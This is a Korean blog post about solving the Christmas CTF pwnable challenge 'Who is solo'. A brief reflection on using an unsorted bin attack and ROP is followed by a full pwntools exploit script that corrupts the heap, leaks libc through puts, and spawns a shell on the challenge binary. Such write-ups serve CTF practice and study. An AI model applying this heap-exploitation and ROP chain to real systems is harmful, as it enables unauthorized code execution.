cdor1's lab
Christmas CTF Who is solo 본문
후기 : unsorted bin attack을 사용해서 건들수 없는 변수를 덮고, 그걸 이용해서 rop하는 문제다.
다른분들은 fastbin을 이용해서 푸셨다고 하는데 상준이형의 의도대로 unsorted bin attack을 이용해서 풀었다 ㅎ
저번에 풀었던 remuheap은 낙현이 문제, whoissolo는 상준이형 문제로 풀어봤는데
나두 이 문제들처럼 깔끔하고 재밌는 문제들 만들 수 있도록 노력해야겠다.
from pwn import *
s = remote('localhost', 4001)
elf = ELF('/home/cdor1/pwnable/solo')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
def malloc(num, size, data):
print s.recvuntil('$ ')
s.sendline('1')
print s.recvuntil('Allocate Chunk Number: ')
s.sendline(str(num))
print s.recvuntil('Input Size: ')
s.sendline(str(size))
print s.recvuntil('Input Data: ')
s.sendline(data)
def free(num):
print s.recvuntil('$ ')
s.sendline('2')
print s.recvuntil('Free Chunk number: ')
s.sendline(str(num))
def list():
print s.recvuntil('$ ')
s.sendline('3')
def login(data):
print s.recvuntil('$ ')
s.sendline('4')
print s.recvuntil('Input password: ')
s.sendline(data)
def input_data(data):
print s.recvuntil('$ ')
s.sendline('201527')
print s.recvuntil('Modify Data: ')
s.sendline(data)
malloc(1, 0x80, 'AAAA')
malloc(2, 0x90, 'BBBB')
free(1)
input_data('A'*8 + p64(0x602080 - 0x10))
malloc(3, 0x80, 'DDDD')
pay = 'A'*0x408
pay += p64(0x400d13)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(0x40078B)
login(pay)
print s.recvuntil('$ ')
s.sendline('5')
leak = u64(s.read(6).ljust(8,'\x00'))
base = leak - 0x6fd60
system = base + 0x46590
binsh = base + 0x17c8c3
log.info('puts : ' + hex(leak))
log.info('libc_base : ' + hex(base))
log.info('system : ' + hex(system))
pay = p64(0x400d13)*226
pay += p64(binsh)
pay += p64(system)
s.sendline(pay)
raw_input()
print s.recvuntil('$ ')
s.sendline('5')
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
HITCON Qual 2016 House of orange (0) | 2017.01.10 |
---|---|
RCTF 2015 shaxian (0) | 2017.01.10 |
Belluminar 2016 remuheap (0) | 2017.01.08 |
HITCON 2016 SleepyHolder (0) | 2017.01.08 |
2016 MMA CTF diary (0) | 2017.01.07 |
Comments